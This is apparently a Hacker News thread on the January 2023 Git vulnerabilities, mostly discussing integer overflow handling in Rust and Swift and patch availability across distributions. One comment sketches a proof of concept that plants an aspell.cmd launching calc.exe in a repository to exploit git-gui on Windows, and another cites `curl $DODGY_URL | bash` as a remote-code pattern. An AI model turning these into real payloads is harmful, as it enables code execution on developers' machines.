17 ms·

Git security vulnerabilities announced

• based2 4y ago
  https://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif/ https://x41-dsec.de/security/research/news/2023/01/17/git-se...
• divbzero 4y ago
  For those of us who use Homebrew, the patched Git 2.39.1 should be available after this PR is merged: https://github.com/Homebrew/homebrew-core/pull/120818 https://github.com/Homebrew/homebrew-core/pull/120818
  • david_allison 4y ago
    PR is now merged
    • cstuder 4y ago
      And the update is now a single `brew upgrade` away.
  • deleted 4y ago
    [deleted]
• bbojan 4y ago
  Both critical bugs are integer overflows. It's unclear to me why our languages still default to modulo arithmetic semantics. I feel Rust had a chance to fix this, but also dropped the ball.
  • shepmaster 4y ago
    > Rust had a chance to fix this, but also dropped the ball. By default, a Rust project will panic on integer overflow in debug builds and will overflow on release builds. Two key points to note, however: 1. You can change the setting so that your project panics in release or overflows in debug mode. 2. We reserved the right to change the default at some point in the future. This will probably be widely communicated before it ever happens, and last I heard we are still waiting for the cost of performing those checks to be "reasonable" before thinking about making such a change.
    • kibwen 4y ago
      Furthermore, because integer overflow is defined behavior, the integer overflow is never considered a root cause in Rust. In order for an integer overflow to express as UB in Rust, you'd have to use it in conjunction with an `unsafe` block that was failing to ensure its invariants, and that would be considered the root cause. If you're not using `unsafe`, then an integer overflow is at worst a logic bug.
      • p4l4g4 4y ago
        A logic bug can be dangerous too though. E.g. Bumping a user ID, to get a "fresh" one or calculate port to open based on offset. When not bounded to a known range, this kind of logic can easily pose a serious security risk. Most of the time, it will probably just work, but under extreme conditions, it will fail. If your language at least catch the overflow and crash instead of wrapping around, you "only" have a denial of service. Can imagine that implementing bounds checking can be costly, when done in software. Wonder if there are any hardware improvements that could reduce risk in this area.
        • wongarsu 4y ago
          If you identify an area as risky, it's trivial in Rust to do a checked_add or saturating_add. The challenge is obviously identifying this, but having easy library functions anectotally leads to people looking for it in code reviews.
        • kibwen 4y ago
          Indeed, nobody ever said that logic bugs were good, but as a category of flaw it means that integer overflow in Rust isn't particularly interesting compared to all the other innumerable ways to introduce logic bugs. And I say that as someone who wouldn't really mind if the behavior was changed to panic-by-default in release mode.
      • astrange 4y ago
        A logic bug can be just as bad as any other kind of bug. Security bugs/memory corruption don't always deserve the extra special treatment they get, nor are they the only kind of remotely exploitable issue.
  • xxpor 4y ago
    >It's unclear to me why our languages still default to modulo arithmetic semantics. Because that's what processors do? (leaving aside backwards compatibility issues)
    • hyperhopper 4y ago
      Our processors also require manually manipulating registers. The whole point of higher level programming languages is to abstract away the fiddly bits of dealing with processors that we don't want to have to deal with. This is one of those cases.
      • robmccoll 4y ago
        In this case it's really that the cost of determining if an overflow did occur or will occur on modern architectures is too high and the likelihood too low for it to be reasonable to perform the checks in most cases in native code. Might be different for interpreted languages depending on a lot of things (whether or not they even use integer arithmetic, whether or not they default to some arbitrary precision integers by default, etc.). If common architectures automatically interrupted on overflow rather than setting a flag at no additional cost, I'd think you'd see safety guarantees instantly.
      • xxpor 4y ago
        In cases where you're willing to take the perf hit, you can just use languages like Python which abstract over integer size entirely.
        • hansvm 4y ago
          Which used to, but at least for parsing ints they've snuck in the perf hit as a "security vulnerability."
    • FatActor 4y ago
      Saturated arithmetic instructions do not do this.
  • sshine 4y ago
    Rust does have a fix for this: error: this arithmetic operation will overflow --> src/main.rs:2:18 | 2 | let a: u64 = u64::MAX + 1; | ^^^^^^^^^^^^ attempt to compute `u64::MAX + 1_u64`, which would overflow | = note: `#[deny(arithmetic_overflow)]` on by default Rust also allows for overflowing arithmetic (preserving the default to fail): https://doc.rust-lang.org/std/?search=overflowing https://doc.rust-lang.org/std/?search=overflowing It's generally less ergonomic, e.g. let (zero, _did_overflow) = u64::MAX.overflowing_add(1);
    • howinteresting 4y ago
      You'll get a compile error when rustc can statically prove that it'll overflow (as in your example above). That is generally not possible. The correct answer is what shepmaster said in a sibling comment.
    • deathanatos 4y ago
      Edit: Gah, I'm a bit wrong too. There's the compiler error (this), and the runtime error (what I'm talking about below.) Here's a link to the runtime variant: https://play.rust-lang.org/?version=stable&mode=debug&edition=2021&gist=6e1c0a18458154610ba8ac83065ea97c https://play.rust-lang.org/?version=stable&mode=debug&editio... As a sibling notes, currently, this is for debug builds. So, if you change that playground to "Release", you'll see it wrap. (I love this feature, and I wish they had done it in release mode too. The sibling comment has some notes on that, too.) (But, e.g., were `git` written in Rust, presumably the end product would be a release build. Now, you can enable the check there, but that is something you have to do, today.) (But also note, that, in all cases, it's well-defined. Vs. C, where some overflows are UB.)
    • hypeatei 4y ago
      Slightly related, I wonder why the return type for `overflowing_add` isn't `Result<T>` and instead a tuple containing a boolean?
      • re 4y ago
        There are times when you want to know how much overflow occurred -- think of the way you learn to do multi-digit addition. There is a checked_add that returns an Option<T> if you only care about success/failure.
  • kgeist 4y ago
    I'm quite paranoid about integer overflows, so in my hobby projects I now have a habit of always using helper functions (which generate an error on overflow) instead of "bare" math operators, and whenever I see a bare math operator without any checks in an open source project (and from what I've seen almost no one checks for overflows) I wonder whether they thought about potential consequences or I'm being too paranoid
    • sshine 4y ago
      My contribution to two open-source projects in recent years has involved a transition to the use of safe arithmetic, too. I think it makes a lot of sense to think about. Ultimately, it matters more in some applications than in others.
      • soiler 4y ago
        Can you explain this as if I were a programmer who doesn't know what that looks like?
        • favorited 4y ago
          There are different ways to design it, but a simple version could be a function that takes 2 operands and 1 result pointer as inputs, and returns boolean (true if success, false if it overflowed): bool SafeAddIntInt(int32_t x, int32_t y, int32_t *r); so the caller could say int32_t result; if (SafeAddIntInt(x, y, &result)) { // do something with result } else { // handle overflow } An even simpler version could just abort on over/underflow.
          • tsimionescu 4y ago
            Note that there is no such thing as integer underflow. INT_MIN-1 is an overflow just as much as INT_MAX+1. Only floats can suffer from underflow, which happens when you want to represent a number whose absolute value is smaller than the floating point precision can allow (e.g. trying to represent 1/2^32 in a 32-bit float).
  • jcranmer 4y ago
    Rust makes integer overflow panic in debug builds, so Rust code is effectively required to opt into overflowing operations for correctness reasons. It disables those checks on release builds for performance reasons, but as sibling comments point out, it reserves the right to change that behavior. Unfortunately, there is a circular dependency here. Languages are reluctant to make integer overflows error conditions because there is a moderately high overhead to checking overflow conditions constantly, and processors (and compilers) are unwilling to make overflow checks cheaper because they benchmarks they care about don't do such checks.
    • deckard1 4y ago
      That sounds like the similar, but opposite case of tail recursion optimization. Some languages/compilers don't do it because devs want stack traces. But allow TCO in and now the code that gets written is quite different than the code that would not do tail calls because TCO doesn't exist. Also a surprising amount of undefined behavior gets relied on in code. I don't use Rust, but the idea that they could potentially change the future behavior on overflow seems... risky?
  • dcsommer 4y ago
    Integer overflow isn't a security issue unless your program's memory safety depends on the correctness of the integer operation. Safe rust doesn't (in any build mode), but C/C++ does.
    • shiftingleft 4y ago
      To elaborate on this: Rust always performs bounds checks on array accesses, so you can't get an out-of-bound read/write.
      • _8dej 4y ago
        Is there a way to turn this off?
        • kibwen 4y ago
          Not via a compiler flag, no. The way to "opt out" of bounds checks is to replace `foo[bar]` with `unsafe { foo.get_unchecked(bar) }` at a given callsite. And the use of `unsafe` is going to immediately raise the eyebrow of any code reviewer or auditor.
    • hyperhopper 4y ago
      You don't know the business logic of every program. You can't say that a rust program won't have a security issue due to this. `UserAccessLevel > Threshold` Like there could be a million ways an integer becoming small could mess up something. Also there are business logic issues as well
      • HideousKojima 4y ago
        Sure, but a logic error is a fundamentally different class of error compared to a memory error. The potential harm of a logic error is limited in scope to what the program was written to be able to do. A memory error can lead to arbitrary code execution.
        • 4y ago
  • topspin 4y ago
    > I feel Rust had a chance to fix this Don't see how. Given the hardware Rust is designed to program you have to compromise some or all of efficiency, memory usage and complexity to solve overflow.
    • viraptor 4y ago
      Rust can guarantee some things about collections which are not possible in C, so a lot more range checks and overflow checks could be omitted. Together with actually having the saturating/overflowing/checked adds, this makes the whole thing a lot safer and easier to deal with where you need to.
      • topspin 4y ago
        Great. Tell bbojan how Rust didn't actually "drop the ball" then. When you do you'll be told about all the different ways Rust doesn't actually solve overflow. And those claims will likely be correct because they're self evident. My point -- my sole point -- is that Rust is like it is because none of the alternatives are viable for Rust; Rust must run efficiently (as a "systems" level language use defines "efficient") on hardware that silently wraps words. Rust can't fix that and still be Rust. There is no ball to drop.
  • Kon-Peki 4y ago
    I'm wondering if what you are asking for is what Swift does - overflow kills your program, but you can opt into allowing it by using "Overflow Operators" (&+, &- and &*). This crashes in Swift var potentialOverflow = Int16.max potentialOverflow += 1 This does not crash var potentialOverflow = Int16.max potentialOverflow &+= 1 [1] https://docs.swift.org/swift-book/LanguageGuide/AdvancedOperators.html https://docs.swift.org/swift-book/LanguageGuide/AdvancedOper...
    • LegionMammal978 4y ago
      As others have mentioned, the default overflow behavior in Rust can be configured to panic. To explicitly wrap around on overflow in every configuration, you can use the newtype wrapper Wrapping, or use the wrapping_add(), wrapping_mul(), etc. methods on the basic integer types. There are also variations such as saturating_op(), checked_op(), and overflowing_op() to detect the overflow and handle it appropriately.
      • Kon-Peki 4y ago
        Sure, I was suggesting that what the OP is asking for is not what Rust does, but what Swift does. This is not a configuration thing, if you don't want a runtime exception on overflow, you must use a different arithmetic operator. Swift's behavior comes at a cost - it is not exactly the fastest language out there ;) Another no-overflow oddity is that Swift doesn't have a rand() equivalent. You can't get fast psuedorandom numbers in Swift unless you are on the Mac, in which case you can import GameplayKit and get gaming-appropriate pseudorandom numbers. EDIT - to be clear, I am not suggesting that anyone change their own chosen programming language. But if you'd like, install Swift on your dev machine and make a Swift implementation of the critical section of your Rust code. Debug, optimize, tweak, etc. And you'll get a pretty good idea of what kind of performance you have to give up to do what many people are asking :)
  • weinzierl 4y ago
    Because saturating math is not "more right", just "different wrong". The "right" way of checking an error condition after every integer operation is prohibitively expensive. From the language side, what I wish for is a sort of NaN for integer operations. I would not want to check for overflow on every operation, but I would want to know after a couple of them if somewhere an overflow had occurred. On the hardware side this could be done with a sticky overflow bit, which some architectures already support. I think the ball is on the hardware side and in my opinion Rust did the most sensible thing possible with contemporary hardware.
  • nine_k 4y ago
    I wonder if using 64-bit integers all over the place would alleviate this a bit. If your integers represent some real quantities (sizes of objects, etc), the sizes have to be unrealistically huge to trigger an overflow. If your integer is a counter, it would take years to increment it in a tight loop to achieve an overflow. The cost of operating on 64-bit integers is about the same as operating on 32-bit integers on most modern CPUs (except maybe 32-bit cores in MCUs).
  • hot_gril 4y ago
    The funniest is how Solidity does this. The language focused on transfers of money.
• sshine 4y ago
  [Edit: According to @rlpb's comment, git 2.39.1 is already available on Ubuntu] To install the latest git on Ubuntu: sudo apt upgrade git [Former post included instructions on how to install git from https://launchpad.net/~git-core/+archive/ubuntu/ppa https://launchpad.net/~git-core/+archive/ubuntu/ppa]
  • b112 4y ago
    Ubuntu will update git, without having to add this.
    • Pr0ject217 4y ago
      Hopefully soon :)
    • rlpb 4y ago
      Indeed! Ubuntu updated git at 18:44Z, nearly an hour before you posted that comment :-)
  • rlpb 4y ago
    > [Edit: According to @rlpb's comment, git 2.39.1 is already available on Ubuntu] Note that I said Ubuntu's git package was updated, but didn't say to what version. Ubuntu like most stable distributions cherry-pick security fixes rather than bump major versions, so Ubuntu users will get a version with these vulnerabilities patched but not necessarily a bump up to 2.39.1. See https://ubuntu.com/security/notices/USN-5810-1 https://ubuntu.com/security/notices/USN-5810-1 for details.
  • adrianmonk 4y ago
    > git 2.39.1 is already available on Ubuntu The updater just gave me 1:2.37.2-1ubuntu1.2 (to replace 1:2.37.2-1ubuntu1.1). It said it addresses the two CVEs in question. So they (Ubuntu or maybe Debian) are taking the approach of patching a slightly older git version.
    • tomxor 4y ago
      I'm not sure why they aren't bumping the patch number, maybe they decided against applying the other parts of the patch for least change - but at least the CVEs are mentioned in all of the Ubuntu changelogs. I can't find anything in the Debian changelogs referring to the CVEs. Yet the Ubuntu changelog refers to it as a debian patch... Anyone know anything about Debian?
• tinus_hn 4y ago
  Sounds terrible, however typically you’re checking out code you’re going to compile and run anyway.
  • nequo 4y ago
    That is a little less than typical for me. I sometimes check out code to read it or to decide if I should compile and run it.
    • throwanem 4y ago
      Likewise; editor tooling is better than Github's. In general, I feel like "git checkout" alone being a potentially unsafe action breaks a lot of people's mental threat models.
    • j1elo 4y ago
      You might find git-peek useful: https://github.com/jarred-sumner/git-peek https://github.com/jarred-sumner/git-peek
• bouke 4y ago
  What is git doing with the system’s spell checker? This is the first time I’ve read about git using a spell checker. I know that various gui clients do spell checking, but I’m not aware of git itself doing anything related to this.
  • Arnavion 4y ago
    As the article states, it's a feature of git-gui, not the git CLI. The vulnerability is Windows-only, so maybe whatever Windows users do to install git always gives them git-gui. But at least for Linux, the distro might package it separately (mine does), so you won't even have it if you didn't install it.
    • mdaniel 4y ago
      As best I can tell from the "The Windows-specific issue involves a $PATH lookup including the current working directory" part, it would be: echo "calc.exe" > aspell.cmd git commit -a -m"lolol windows" and wait for someone to clone that repo
      • zerocrates 4y ago
        What I don't quite get is why there's spellchecking on incoming commits at all.
        • Arnavion 4y ago
          Don't understand what you mean by "incoming commits". git-gui shows you a textbox for the commit message, and error squiggles for misspelled words (presumably; I CBA to install a spell checker). The bug is that it spawns the spellcheck binary using Tcl's API, which on Windows also looks up binaries in the current directory regardless of whether the current directory is in $PATH or not. Edit: Maybe you're referring to the existing commits in the repo that you just cloned? If so, those are irrelevant. git-gui is a GUI for composing commits. The commit message being spell-checked is the one that you would write in order to create a new commit.
• AdmiralAsshat 4y ago
  I don't know if "announced" is really the word they want to use here. It makes it sound like they're unveiling a new feature.
  • fabianhjr 4y ago
    Normally these posts would by called advisories (or more specifically security advisories) Some vendors use the term Security Bulletins
  • deleted 4y ago
    [deleted]
• remirk 4y ago
  Original source: https://lore.kernel.org/git/xmqq7cxl9h0i.fsf@gitster.g/T/#u https://lore.kernel.org/git/xmqq7cxl9h0i.fsf@gitster.g/T/#u
  • heywhatupboys 4y ago
    this should really be the article link instead of that proprietary writeup by a company taking advantage of OSS edit: just because someone puts up an "easy" ""free"" service, does not mean they are kind. GitHub is not your friend for git issues. I woul dhope this site would support true FOSS
    • OJFord 4y ago
      No it shouldn't, an hour in this submission might have barely 7 points, not 177, and probably a comment or two bemoaning the readability and pointing out the clearer write-up(s) available for people not already keeping up with the mailing list. If you don't believe me, have a look, this was probably submitted too, and is languishing somewhere off the front page while this one is at the top, by virtue of people voting for it and not the other.
      • heywhatupboys 4y ago
        lack of accessibility/discoverability and meager focus on looks has been a staple of FOSS for decades, but HN should be a site that helped with this, not one that supported proprietary uses of FOSS software to the benefit of an anti-competitive behemoth such as MS
    • Arnavion 4y ago
      remirk's link is missing the git-gui CVE so it's not a direct replacement.
  • deleted 4y ago
    [deleted]
  • mdaniel 4y ago
    > url = https://github.com/gitster/git https://github.com/gitster/git huh, I would have thought for sure they would have linked to git/git from which that repo was forked Also, the 2.39.1 tag alleges it was created Dec 13th - I wonder why they held it so long? I would have thought maybe embargo but the actual commit says "security fix" https://github.com/git/git/commit/01443f01b7c6a3c6ef03268b649b119027743115.patch https://github.com/git/git/commit/01443f01b7c6a3c6ef03268b64...
• rust_is_dead 4y ago
  [dead]
• ffjffsfr 4y ago
  Regarding first vulnerability with gIt format, how can malicious party exploit it? Someone needs to convince you to run git log format with some unusual format specifier, right? And then they need to access some specific memory location this way so they still need to store something malicious elsewhere. Sounds like it would be really extremely hard for anyone to exploit this. Overall fixing this it looks like routine house keeping and nothing major.
  • japanman425 4y ago
    Pretty narrow vector. Could identify low level employee in another team to run it to exfiltrate info in a high secure env maybe.
  • joernchen 4y ago
    As stated in the advisory: > It may also be triggered indirectly via Git’s export-subst mechanism, which applies the formatting modifiers to selected files when using git archive. This very practical to exploit on Git forges like GitHub or GitLab which allow their users to download archives of tags or branches.
  • gwbas1c 4y ago
    You could bury it in a script, or in one of the many "copy and paste this command into your terminal" blurbs that we see all over the place.
    • csande17 4y ago
      This sounds like Raymond Chen's "code execution leads to code execution" class of vulnerabilities: if you can trick users into running a malicious script, you have already won.
      • Karellen 4y ago
        If you can trick a user to run any arbitrary script blindly, sure, you've already won. The hard part is tricking a user into running a script that they can inspect, and looks even on close inspection to be non-arbitrary and quite constrained in what it might do. There's a world of difference between being gullible enough to run `curl $DODGY_URL | bash`, and thinking "what could possibly go wrong" when being asked to check the output of `git log --format="$WEIRD_FORMAT"`. Even if you check that $WEIRD_FORMAT doesn't escape shell quoting and pull a Bobby Tables, or run a `` or $() subshell, or do anything except pass a weird looking format string, there's no way to tell that there's a genuine bug in the `git log` formatting code that allows a specially-crafted format specifier to do ACE.
• codazoda 4y ago
  I don't think Apple has patched this yet (it just came out 3 hours ago). Looks like homebrew got right on it so I installed via that with the following command. `brew install git` The latest version in Ventura 13.1 seems to be either 2.24.3 or 2.37.1 (not all my co-workers machines match). I'm not sure if these are defaults, different because some of us have XCode, or if some of us manually installed. In any case, brew install got me up to date.
  • jasonmarks_ 4y ago
    I too think package managers are amazing... reads new git security threat "brew upgrade" done!
    • joe_guy 4y ago
      Running brew upgrade uses git, so it has to run the insecure git to upgrade.
      • woodruffw 4y ago
        Wait until you hear about how your OpenSSL patches get delivered!
        • yencabulator 4y ago
          Via signed Git tags? object 19cc035b6c6f2283573d29c7ea7f7d675cf750ce type commit tag openssl-3.0.7 tagger Tomas Mraz <tomas@openssl.org> 1667335515 +0100 OpenSSL 3.0.7 release tag -----BEGIN PGP SIGNATURE----- iQJGBAABCAAwFiEE3HAyZir4heL0fyQ/UnRmohynnm0FAmNhhWASHHRvbWFzQG9w ZW5zc2wub3JnAAoJEFJ0ZqIcp55tZRkQAJKQ35fUFQ3Wfuj4vbNQNX0Iv/c11q9o 7Li8A8ananoYhnW9tpVTfpBCHAbE/fvwY3TMCE6IzBsRcjjef1CAqtEEDYI39aEt Nr00hUTVQeeH95viYMhmelq6axjkX8dGjfZBufZPJzrKrrj/eZLfmL3A1nZ9yYeF MCTxzpcOtaanJQ35h1Ayx3Hj1mcfTixGZR1drlJa5pDoF3y40ysxt/3ZYRD0Z/hO NbQ5QK/GPjnBheJaha6X7BoGgMRzXCfVSqtP/hE2Szzdq3nkZbWuDYw8EQ+Nr8Ni Q0BIIZLQbTYf4lmTXMbZdgUFq9/vSFNuz2IudDGiHrVfV1HZrZigHly61gqaXhjF Uir2LjMEgMr7D4O0udM6RnR7A1Wn3++sc8m3bGHYj+j+oSHSiKpZ0yxKbGY0TITL 1/vJMBZe46rW2qQi8WI4fkRnyRVc+L19AHqHYeA9XHMWKFgRKgHlf+yf2ysPKsD6 lGYCFwLJrlec/Sq4mbwe59JwtQbf4LHUQ4k+M1Cr5q04WegMH/nFjOanv8Ehs1Se WqJZD/1O+p8Go71g7c8kJ9QYiHkkr/xgs8BF7WMlNw7df5za6V1Ns/VCMSfQ9HF8 SlODL7NBffQr0A9rGD/AueN2pATzv1p90/Cz5VCIWRfCHMN6EmurdGcSJkSXRbjY SDAGDysitYmo =/eQF -----END PGP SIGNATURE-----
• tomesco 4y ago
  What is the recommended upgrade path for macOS' system install of git? I have upgraded my brew install, but am unsure of what to do with the vulnerable system install.
  • deleted 4y ago
    [deleted]
  • saurik 4y ago
    I don't think macOS comes with git; like, it might actually come with a git binary, but that binary is just a "shim" that runs an actual copy of git from an installed copy of Xcode. If you want to upgrade what is conceptually that copy of git you can thereby upgrade Xcode. (If you haven't installed Xcode then it might have come from a related package called Xcode Command Line Tools that doesn't include Xcode.app; if you run these shims and don't have Xcode installed it offers to install this package for you automatically.)
  • bobbylarrybobby 4y ago
    I'm guessing a system security update will patch the git executable. No way would apple make you update Xcode just for this. (Well, maybe...)
• williamsmj 4y ago
  I wonder if there's anyone left at Twitter to backport security fixes to the custom fork of git they use to support their monorepo.
  • lucb1e 4y ago
    One way to find out!
    • claranathan217 4y ago
      [flagged]
• deleted 4y ago
  [deleted]
• xnormal 4y ago
  I guess GitHub and similar providers could scan incoming commits for these in order to shield users who do not upgrade. We all know there will still be millions of those for years to come.
• elric 4y ago
  Seems like there are no updates available for Fedora just yet?
  • wtfishackernews 4y ago
    The patched version is in testing https://src.fedoraproject.org/rpms/git https://src.fedoraproject.org/rpms/git